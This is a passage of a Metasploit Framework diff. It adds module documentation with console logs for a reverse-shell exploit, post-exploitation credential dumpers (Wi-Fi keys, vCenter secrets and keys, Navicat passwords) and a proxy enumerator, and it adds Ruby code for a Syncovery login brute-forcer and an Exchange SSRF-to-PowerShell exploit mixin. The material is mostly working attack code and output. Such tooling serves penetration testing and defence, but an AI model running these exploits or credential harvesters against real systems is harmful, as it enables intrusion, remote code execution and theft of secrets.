[*] Using configured payload windows/shell/reverse_tcp
|
||||
resource (remote_control_collection.rb)> set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
resource (remote_control_collection.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (remote_control_collection.rb)> set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(windows/misc/remote_control_collection_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Connecting and Sending Windows key
|
||||
[*] Opening command prompt
|
||||
[*] Sending stager
|
||||
[*] Using URL: http://2.2.2.2:8080/
|
||||
[*] Executing payload
|
||||
[*] Server stopped.
|
||||
[!] This exploit may require manual cleanup of 'c:\Windows\Temp\OqsTi76PX80it.exe' on the target
|
||||
[*] Exploit completed, but no session was created
|
||||
```
|
||||
@@ -0,0 +1,48 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module collects 802-11-Wireless-Security credentials such as
|
||||
Access-Point name and Pre-Shared-Key from Linux NetworkManager
|
||||
connection configuration files.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a `root` session
|
||||
1. Do: `use post/linux/gather/enum_psk`
|
||||
1. Do: `set session <session ID>`
|
||||
1. Do: `run`
|
||||
1. You should receive credentails for wireless connections
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### DIR
|
||||
|
||||
The path for NetworkManager configuration files (default: `/etc/NetworkManager/system-connections/`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 22.04.1 (x86_64)
|
||||
|
||||
```
|
||||
msf6 > use post/linux/gather/enum_psk
|
||||
msf6 post(linux/gather/enum_psk) > set session 1
|
||||
session => 1
|
||||
msf6 post(linux/gather/enum_psk) > run
|
||||
|
||||
[*] Reading file /etc/NetworkManager/system-connections//Profile 1.nmconnection
|
||||
[*] Reading file /etc/NetworkManager/system-connections//test
|
||||
|
||||
802-11-wireless-security
|
||||
========================
|
||||
|
||||
AccessPoint-Name PSK
|
||||
---------------- ---
|
||||
test 1234567890
|
||||
|
||||
[+] Credentials stored in: /root/.msf4/loot/20221120081233_default_192.168.200.204_linux.psk.creds_045512.txt
|
||||
[*] Post module execution completed
|
||||
msf6 post(linux/gather/enum_psk) >
|
||||
```
|
||||
@@ -274,3 +274,79 @@ msf6 post(linux/gather/vcenter_secrets_dump) > dump
|
||||
[+] AD User: sam@cesium137.io
|
||||
[+] AD Pass: Gr33n3gg$!
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
Example run from meterpreter session on vCenter appliance version 6.7 build-18831049
|
||||
|
||||
```
|
||||
msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump
|
||||
msf6 post(linux/gather/vcenter_secrets_dump) > set session 1
|
||||
session => 1
|
||||
msf6 post(linux/gather/vcenter_secrets_dump) > run
|
||||
[*] VMware VirtualCenter 6.7.0 build-18831049
|
||||
[*] vCenter Appliance (Embedded)
|
||||
[*] Validating target
|
||||
[*] Appliance IPv4: 2.2.2.2
|
||||
[*] Appliance Hostname: photon-machine.ragedomain
|
||||
[*] Appliance OS: VMware Photon Linux 1.0-62c543d
|
||||
[*] Gathering vSphere SSO domain information
|
||||
[+] vSphere SSO DC DN: cn=photon-machine.ragedomain,ou=Domain Controllers,dc=vsphere,dc=local
|
||||
[+] vSphere SSO DC PW: )sM8M]h,YZBQ:kY['h^(
|
||||
[*] Extracting tenant and vpx AES encryption key...
|
||||
[+] vSphere Tenant AES encryption
|
||||
[+] KEY: ]E6"Jg7V}d{!Q:Lh
|
||||
[+] HEX: 5d4536224a6737567d647b21513a4c68
|
||||
[+] vSphere vmware-vpx AES encryption
|
||||
[+] HEX: ac20416a5850df52f1bf889440995871ba52984a893dbe44fd71c5c768aea3be
|
||||
[*] Extracting PostgreSQL database credentials
|
||||
[+] VCDB Name: VCDB
|
||||
[+] VCDB User: vc
|
||||
[+] VCDB Pass: MB&|<)haN6Q>{K3O
|
||||
[*] Checking for VPX Users
|
||||
[-] No VPXUSER entries were found
|
||||
[*] Extract ESXi host vpxuser credentials
|
||||
[!] No ESXi hosts attached to this vCenter system
|
||||
[*] Extracting vSphere SSO domain secrets
|
||||
[*] Dumping vmdir schema to LDIF and storing to loot...
|
||||
[!] Unable to retrieve ldif contents
|
||||
WARNING: there is already a transaction in progress
|
||||
[-] Error processing LDIF file
|
||||
[*] Extracting certificates from vSphere platform
|
||||
[+] VMCA_ROOT key: /root/.msf4/loot/20221102165124_default_2.2.2.2_vmca_523828.key
|
||||
[+] VMCA_ROOT cert: /root/.msf4/loot/20221102165124_default_2.2.2.2_vmca_694934.pem
|
||||
[+] SSO_STS_IDP key: /root/.msf4/loot/20221102165125_default_2.2.2.2_idp_031902.key
|
||||
[+] SSO_STS_IDP cert: /root/.msf4/loot/20221102165125_default_2.2.2.2_idp_256763.pem
|
||||
[+] MACHINE_SSL_CERT Key: /root/.msf4/loot/20221102165126_default_2.2.2.2___MACHINE_CERT_448485.key
|
||||
[+] MACHINE_SSL_CERT Cert: /root/.msf4/loot/20221102165126_default_2.2.2.2___MACHINE_CERT_793765.pem
|
||||
[+] MACHINE Key: /root/.msf4/loot/20221102165127_default_2.2.2.2_machine_336860.key
|
||||
[+] MACHINE Cert: /root/.msf4/loot/20221102165127_default_2.2.2.2_machine_588424.pem
|
||||
[+] VSPHERE-WEBCLIENT Key: /root/.msf4/loot/20221102165127_default_2.2.2.2_vspherewebclien_567378.key
|
||||
[+] VSPHERE-WEBCLIENT Cert: /root/.msf4/loot/20221102165127_default_2.2.2.2_vspherewebclien_997605.pem
|
||||
[+] VPXD Key: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxd_521342.key
|
||||
[+] VPXD Cert: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxd_415704.pem
|
||||
[+] VPXD-EXTENSION Key: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxdextension_152066.key
|
||||
[+] VPXD-EXTENSION Cert: /root/.msf4/loot/20221102165128_default_2.2.2.2_vpxdextension_359784.pem
|
||||
[+] DATA-ENCIPHERMENT Key: /root/.msf4/loot/20221102165129_default_2.2.2.2_dataenciphermen_517854.key
|
||||
[+] DATA-ENCIPHERMENT Cert: /root/.msf4/loot/20221102165129_default_2.2.2.2_dataenciphermen_408460.pem
|
||||
[+] SMS Key: /root/.msf4/loot/20221102165130_default_2.2.2.2_sms_self_signed_777691.key
|
||||
[+] SMS Cert: /root/.msf4/loot/20221102165130_default_2.2.2.2_sms_self_signed_215695.pem
|
||||
[*] Searching for secrets in VM Guest Customization Specification XML
|
||||
[!] No vpx_customization_spec entries evident
|
||||
[*] Retrieving .pgpass file
|
||||
[+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for localhost:replication
|
||||
[+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for 127.0.0.1:replication
|
||||
[+] .pgpass creds found: replicator, BN^qgk&a)Ee2dK@| for /var/run/vpostgres:replication
|
||||
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for localhost:postgres
|
||||
[+] posgres database creds found: postgres, md5fdb13b980a01e3d1ae99b5b55b6e4303
|
||||
[+] posgres database creds found: replicator, md5c2a01981014a380b63c0c7c66ad77ba9
|
||||
[+] posgres database creds found: vc, md53b5a9fc0dd6c99567e9ca27c459b43d9
|
||||
[+] posgres database creds found: vumuser, md5fc719b1b56f02981027379fd15125feb
|
||||
[+] posgres database creds found: cns, md5d92e4534c059354dee12a7cc9a79faff
|
||||
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for 127.0.0.1:postgres
|
||||
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for localhost:VCDB
|
||||
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for 127.0.0.1:VCDB
|
||||
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for /var/run/vpostgres:VCDB
|
||||
[+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for /var/run/vpostgres:postgres
|
||||
[+] Saving the /root/.pgpass contents to /root/.msf4/loot/20221102165131_default_2.2.2.2_.pgpass_509065.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -0,0 +1,73 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module reverse resolves an IP address or IP address range to hostnames.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a session
|
||||
1. Do: `use post/multi/recon/reverse_lookup`
|
||||
1. Do: `set SESSION <session id>`
|
||||
1. Do: `set ADDRESS <IP address>` or `set RANGE <IP address range>`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### ADDRESS
|
||||
|
||||
IP address to resolve.
|
||||
|
||||
### RANGE
|
||||
|
||||
IP address range to resolve.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2016 (x86_64)
|
||||
|
||||
```
|
||||
msf6 > use post/multi/recon/reverse_lookup
|
||||
msf6 post(multi/recon/reverse_lookup) > set address 1.1.1.1
|
||||
address => 1.1.1.1
|
||||
msf6 post(multi/recon/reverse_lookup) > set session 1
|
||||
session => 1
|
||||
msf6 post(multi/recon/reverse_lookup) > run
|
||||
|
||||
[*] Resolving 1.1.1.1
|
||||
[+] 1.1.1.1 resolves to one.one.one.one
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
### Solaris 11.3 (x86_64)
|
||||
|
||||
```
|
||||
msf6 > use post/multi/recon/reverse_lookup
|
||||
msf6 post(multi/recon/reverse_lookup) > set address 1.1.1.1
|
||||
address => 1.1.1.1
|
||||
msf6 post(multi/recon/reverse_lookup) > set session 1
|
||||
session => 1
|
||||
msf6 post(multi/recon/reverse_lookup) > run
|
||||
|
||||
[*] Resolving 1.1.1.1
|
||||
[+] 1.1.1.1 resolves to one.one.one.one
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
### Ubuntu Linux 22.04.1 (x86_64)
|
||||
|
||||
```
|
||||
msf6 > use post/multi/recon/reverse_lookup
|
||||
msf6 post(multi/recon/reverse_lookup) > set address 1.1.1.1
|
||||
address => 1.1.1.1
|
||||
msf6 post(multi/recon/reverse_lookup) > set session 1
|
||||
session => 1
|
||||
msf6 post(multi/recon/reverse_lookup) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module:
|
||||
[!] * missing Meterpreter features: stdapi_railgun_memread, stdapi_railgun_api
|
||||
[*] Resolving 1.1.1.1
|
||||
[+] 1.1.1.1 resolves to one.one.one.one
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -0,0 +1,72 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module can decrypt the password of navicat, If the user chooses to remember the password.
|
||||
|
||||
Analysis of encryption algorithm [here](https://github.com/HyperSine/how-does-navicat-encrypt-password).
|
||||
|
||||
You can find its official website [here](https://navicat.com/).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Download the latest installer of Navicat.
|
||||
2. Use navicat to log in to DB server.
|
||||
3. Remember to save the account password.
|
||||
4. Get a `meterpreter` session on a Windows host.
|
||||
5. Do: `run post/windows/gather/credentials/navicat`
|
||||
6. If the session file is saved in the system, the host, port, user name and plaintext password will be printed.
|
||||
|
||||
## Options
|
||||
|
||||
### NCX_PATH
|
||||
|
||||
Specify the path of the NCX export file. e.g.: connections.ncx
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
meterpreter > run post/windows/gather/credentials/navicat
|
||||
|
||||
*] Gathering Navicat password information from WIN-79MR8QJM50N
|
||||
Navicat Sessions
|
||||
================
|
||||
|
||||
Name Protocol Hostname Port Username Password
|
||||
---- -------- -------- ---- -------- --------
|
||||
mongodb mongodb localhost 27017 user password
|
||||
test_mysql mysql localhost 3306 root test_mysql_password
|
||||
test_oracle oracle 127.0.0.1 1521 user password
|
||||
test_pg postgres localhost 5432 postgres test_pg_password
|
||||
test_sqlserver mssql 127.0.0.1 1433 user password
|
||||
|
||||
[+] Session info stored in: /home/kali-team/.msf4/loot/20221002233644_default_192.168.80.128_host.navicat_ses_919319.txt
|
||||
[*] Post module execution completed
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
* Specify **NCX_PATH**
|
||||
|
||||
```
|
||||
msf6 post(windows/gather/credentials/navicat) > set ncx_path C:\\Users\\FireEye\\Desktop\\connections.ncx
|
||||
ncx_path => C:\Users\FireEye\Desktop\connections.ncx
|
||||
msf6 post(windows/gather/credentials/navicat) > run
|
||||
|
||||
[*] Gathering Navicat password information from WIN-79MR8QJM50N
|
||||
[*] Looking for C:\Users\FireEye\Desktop\connections.ncx
|
||||
[+] navicat.ncx saved to /home/kali-team/.msf4/loot/20221002234356_default_192.168.80.128_navicat.creds_838577.txt
|
||||
Navicat Sessions
|
||||
================
|
||||
|
||||
Name Protocol Hostname Port Username Password
|
||||
---- -------- -------- ---- -------- --------
|
||||
mongodb mongodb localhost 27017 user password
|
||||
test_mysql mysql localhost 3306 root test_mysql_password
|
||||
test_oracle oracle 127.0.0.1 1521 user password
|
||||
test_pg postgres localhost 5432 postgres test_pg_password
|
||||
test_sqlserver mssql 127.0.0.1 1433 user password
|
||||
|
||||
[+] Session info stored in: /home/kali-team/.msf4/loot/20221002234356_default_192.168.80.128_host.navicat_ses_522370.txt
|
||||
[*] Finished processing C:\Users\FireEye\Desktop\connections.ncx
|
||||
[*] Post module execution completed
|
||||
|
||||
|
||||
```
|
||||
@@ -6,6 +6,7 @@ This module allows you to collect login information for PureVPN client, specific
|
||||
|
||||
Versions before 6.0 should be vulnerable. For testing purposes, you may find the vulnerable version here:
|
||||
|
||||
Download links are provided for reference only and are not maintained by the project. Utilize at your own risk!
|
||||
* [https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m](https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m)
|
||||
* [https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe](https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe)
|
||||
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module pulls a user's proxy settings. If neither RHOST or SID
|
||||
are set it pulls the current user, else it will pull the user's settings
|
||||
for the specified SID and target host.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a session on a Windows host
|
||||
1. Do: `use post/windows/gather/enum_proxy`
|
||||
1. Do: `set session <session id>`
|
||||
1. Do: `run`
|
||||
1. You should receive system proxy information
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### RHOST
|
||||
|
||||
Remote host to clone settings to (defaults to local)
|
||||
|
||||
### SID
|
||||
|
||||
SID of user to clone settings to (SYSTEM is S-1-5-18) (default: blank)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2016 (x86_64)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_proxy
|
||||
msf6 post(windows/gather/enum_proxy) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_proxy) > run
|
||||
|
||||
[*] Proxy Counter = 3
|
||||
[*] Setting: WPAD and Proxy server
|
||||
[*] Proxy Server: http=127.0.0.1:80;https=127.0.0.1:80;ftp=127.0.0.1:80
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
### Windows 7 SP1 (x86_64)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_proxy
|
||||
msf6 post(windows/gather/enum_proxy) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_proxy) > run
|
||||
|
||||
[*] Proxy Counter = 77
|
||||
[*] Setting: WPAD, Proxy server and AutoConfigure script
|
||||
[*] Proxy Server: http=127.0.0.1:8080;https=127.0.0.1:8080;ftp=127.0.0.1:8080
|
||||
[*] AutoConfigURL: http://corp.local/wpad.dat
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/gather/enum_proxy) >
|
||||
```
|
||||
Vendored
+1
@@ -116,6 +116,7 @@ _msfvenom_formats_list=(
|
||||
'aspx-exe'
|
||||
'axis2'
|
||||
'dll'
|
||||
'ducky-script-psh'
|
||||
'elf'
|
||||
'elf-so'
|
||||
'exe'
|
||||
|
||||
@@ -13,7 +13,7 @@ class ManagedRemoteDataService
|
||||
include Singleton
|
||||
|
||||
#
|
||||
# Returns true if the the managed data service process is running.
|
||||
# Returns true if the managed data service process is running.
|
||||
#
|
||||
def running?
|
||||
return @running
|
||||
|
||||
@@ -115,7 +115,8 @@ module Metasploit
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
protocol: 'tcp',
|
||||
service_name: ssl ? 'https' : 'http',
|
||||
}
|
||||
|
||||
begin
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
require 'json'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
class SyncoveryFileSyncBackup < HTTP
|
||||
|
||||
DEFAULT_PORT = 8999 # HTTP=8999; HTTPS=8943
|
||||
PRIVATE_TYPES = [ :password ].freeze
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
|
||||
|
||||
# Checks if the target is Syncovery File Sync & Backup Software. The login module should call this.
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is Syncovery, otherwise FalseClass
|
||||
def check_setup
|
||||
login_uri = normalize_uri("#{uri}/")
|
||||
res = send_request({ 'uri' => login_uri })
|
||||
|
||||
if res && res.code == 200 && res.body.include?('Syncovery')
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Gets the Syncovery version.
|
||||
#
|
||||
# @return [String] version if version was found, otherwise FalseClass
|
||||
def get_version
|
||||
globals = normalize_uri("#{uri}/get_global_variables")
|
||||
res = send_request({ 'uri' => globals })
|
||||
if res && res.code == 200
|
||||
json_res = res.get_json_document
|
||||
version = json_res['SyncoveryTitle']&.scan(/Syncovery\s([A-Za-z0-9.]+)/)&.flatten&.first || ''
|
||||
return version
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Actually doing the login. Called by #attempt_login
|
||||
#
|
||||
# @param username [String] The username to try
|
||||
# @param password [String] The password or token to try
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body or the session token
|
||||
def get_login_state(username, password)
|
||||
# Prep the data needed for login
|
||||
if username.empty?
|
||||
# no username => token is used as password
|
||||
res = send_request({
|
||||
'uri' => normalize_uri("#{uri}/profiles.json"),
|
||||
'vars_get' => {
|
||||
'recordstartindex' => '0',
|
||||
'recordendindex' => '0'
|
||||
},
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'token' => password
|
||||
}
|
||||
})
|
||||
unless res
|
||||
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: res.to_s }
|
||||
end
|
||||
if !res.body.to_s.include? 'Session Expired'
|
||||
return { status: LOGIN_STATUS::SUCCESSFUL, proof: res.body.to_s }
|
||||
end
|
||||
|
||||
return { proof: res.body.to_s }
|
||||
else
|
||||
# use username:password
|
||||
res = send_request({
|
||||
'uri' => normalize_uri("#{uri}/post_applogin.php"),
|
||||
'vars_get' => {
|
||||
'login' => username.to_s,
|
||||
'password' => password.to_s
|
||||
},
|
||||
'method' => 'GET'
|
||||
})
|
||||
unless res
|
||||
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT }
|
||||
end
|
||||
|
||||
# After login, the application should give us a new token
|
||||
# session_token is actually just base64(MM/dd/yyyy HH:mm:ss) at the time of the login
|
||||
json_res = res.get_json_document
|
||||
token = json_res['session_token']
|
||||
if token.present?
|
||||
return { status: LOGIN_STATUS::SUCCESSFUL, proof: token.to_s }
|
||||
end
|
||||
|
||||
return { proof: res.to_s }
|
||||
end
|
||||
end
|
||||
|
||||
# Attempts to login to Syncovery File Sync & Backup Software. This is called first.
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
result_opts.merge!(get_login_state(credential.public, credential.private))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -49,7 +49,7 @@ module Metasploit
|
||||
end
|
||||
|
||||
if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m # Regex check for older versions of Zabbix prior to version 3.
|
||||
if res.body.to_s !~ /<a target="_blank" class="grey link-alt" href="http[sS]{0,1}:\/\/www\.zabbix\.com\/documentation\/(\d+\.\d+)\/">Help<\/a>/m
|
||||
if res.body.to_s !~ /href="http[sS]{0,1}:\/\/www\.zabbix\.com\/documentation\/(\d+\.\d+)\/">Help<\/a>/m
|
||||
return "Unexpected HTTP body (is this really Zabbix?)" # If both the regex for the old and new versions
|
||||
# fail to match, the target likely isn't Zabbix.
|
||||
end
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.2.25"
|
||||
VERSION = "6.2.30"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -0,0 +1,207 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'winrm'
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptFloat.new('MaxBackendRetries', [true, 'The maximum number of times to retry for targeting the backend', 10]),
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def execute_powershell(cmdlet, args: [], cat: nil)
|
||||
winrm = SSRFWinRMConnection.new({
|
||||
endpoint: full_uri('PowerShell/'),
|
||||
transport: :ssrf,
|
||||
max_backend_retries: datastore['MaxBackendRetries'].to_i,
|
||||
ssrf_proc: proc do |method, uri, opts|
|
||||
uri = "#{uri}?X-Rps-CAT=#{cat}" if cat
|
||||
opts[:data].gsub!(
|
||||
%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
|
||||
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
|
||||
)
|
||||
opts[:data].gsub!(
|
||||
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
|
||||
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
|
||||
)
|
||||
res = send_http(method, uri, opts)
|
||||
raise WinRM::WinRMAuthorizationError.new('Server responded with 401 Unauthorized.') if res&.code == 401
|
||||
|
||||
res
|
||||
end
|
||||
})
|
||||
|
||||
successful = true
|
||||
begin
|
||||
winrm.shell(:powershell) do |shell|
|
||||
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
|
||||
shell.extend(SSRFWinRMConnection::PowerShell)
|
||||
shell.run({ cmdlet: cmdlet, args: args }) do |stdout, stderr|
|
||||
unless stdout.blank?
|
||||
vprint_line('PSRP output received:')
|
||||
vprint_line(stdout)
|
||||
end
|
||||
unless stderr.blank?
|
||||
successful = false
|
||||
vprint_error('PSRP error received:')
|
||||
vprint_line(stderr)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue WinRM::WinRMAuthorizationError => e
|
||||
fail_with(Msf::Exploit::Failure::NoAccess, e.message)
|
||||
rescue WinRM::WinRMError => e
|
||||
vprint_error("Exception: #{e.message}")
|
||||
successful = false
|
||||
rescue Msf::Exploit::Failed => e
|
||||
raise e
|
||||
rescue RuntimeError => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
successful = false
|
||||
end
|
||||
|
||||
successful
|
||||
end
|
||||
|
||||
def send_http(method, uri, opts = {})
|
||||
request = {
|
||||
'method' => method,
|
||||
'uri' => uri,
|
||||
'agent' => datastore['UserAgent'],
|
||||
'ctype' => opts[:ctype],
|
||||
'cookie' => opts[:cookie],
|
||||
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
|
||||
}
|
||||
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
|
||||
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
|
||||
request = request.merge(opts[:authentication]) unless opts[:authentication].nil?
|
||||
|
||||
begin
|
||||
received = send_request_cgi(request)
|
||||
rescue Errno::ECONNRESET => e
|
||||
fail_with(Msf::Exploit::Failure::Disconnected, 'Server reset the connection.')
|
||||
end
|
||||
|
||||
fail_with(Msf::Exploit::Failure::TimeoutExpired, 'Server did not respond in an expected way.') unless received
|
||||
|
||||
received
|
||||
end
|
||||
|
||||
class XMLTemplate
|
||||
def self.render(template_name, context = nil)
|
||||
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxymaybeshell', "#{template_name}.xml.erb")
|
||||
template = ::File.binread(file_path)
|
||||
case context
|
||||
when Hash
|
||||
b = binding
|
||||
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
|
||||
b.eval(locals.join)
|
||||
when NilClass
|
||||
b = binding
|
||||
else
|
||||
raise ArgumentError
|
||||
end
|
||||
b.eval(Erubi::Engine.new(template).src)
|
||||
end
|
||||
end
|
||||
|
||||
class SSRFWinRMConnection < WinRM::Connection
|
||||
class MessageFactory < WinRM::PSRP::MessageFactory
|
||||
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
|
||||
WinRM::PSRP::Message.new(
|
||||
runspace_pool_id,
|
||||
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
|
||||
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
|
||||
pipeline_id
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF
|
||||
# vulnerability
|
||||
class TransportFactory < WinRM::HTTP::TransportFactory
|
||||
class HttpSsrf < WinRM::HTTP::HttpTransport
|
||||
# rubocop:disable Lint/
|
||||
def initialize(endpoint, options)
|
||||
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
|
||||
@ssrf_proc = options[:ssrf_proc]
|
||||
# this tracks the backend target, the PSRP session needs to communicate with one target
|
||||
# this would be the case if Exchange Data Access Group (DAG) is in use
|
||||
@backend = nil
|
||||
@max_backend_attempts = [options.fetch(:max_backend_retries, 10) + 1, 1].max
|
||||
end
|
||||
|
||||
def send_request(message)
|
||||
resp = nil
|
||||
@max_backend_attempts.times do
|
||||
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
|
||||
|
||||
if resp.code == 500 && resp.headers['X-CalculatedBETarget'] != @backend
|
||||
# retry the request if it failed and the backend was different than the target
|
||||
next
|
||||
end
|
||||
|
||||
break
|
||||
end
|
||||
|
||||
if resp&.code == 200 && @backend.nil?
|
||||
@backend = resp.headers['X-CalculatedBETarget']
|
||||
end
|
||||
|
||||
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
|
||||
end
|
||||
|
||||
attr_reader :backend
|
||||
end
|
||||
|
||||
def create_transport(connection_opts)
|
||||
raise NotImplementedError unless connection_opts[:transport] == :ssrf
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def init_ssrf_transport(opts)
|
||||
HttpSsrf.new(opts[:endpoint], opts)
|
||||
end
|
||||
end
|
||||
|
||||
module PowerShell
|
||||
def send_command(command, _arguments)
|
||||
command_id = SecureRandom.uuid.to_s.upcase
|
||||
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
|
||||
fragmenter.fragment(message) do |fragment|
|
||||
command_args = [connection_opts, shell_id, command_id, fragment]
|
||||
if fragment.start_fragment
|
||||
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
|
||||
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
|
||||
else
|
||||
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
|
||||
end
|
||||
end
|
||||
|
||||
command_id
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(connection_opts)
|
||||
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax
|
||||
connection_opts.merge!({ user: :ssrf, password: :ssrf })
|
||||
super(connection_opts)
|
||||
end
|
||||
|
||||
def transport
|
||||
@transport ||= begin
|
||||
transport_factory = TransportFactory.new
|
||||
transport_factory.create_transport(@connection_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,37 @@
|
||||
# -*- coding: binary -*-
|
||||
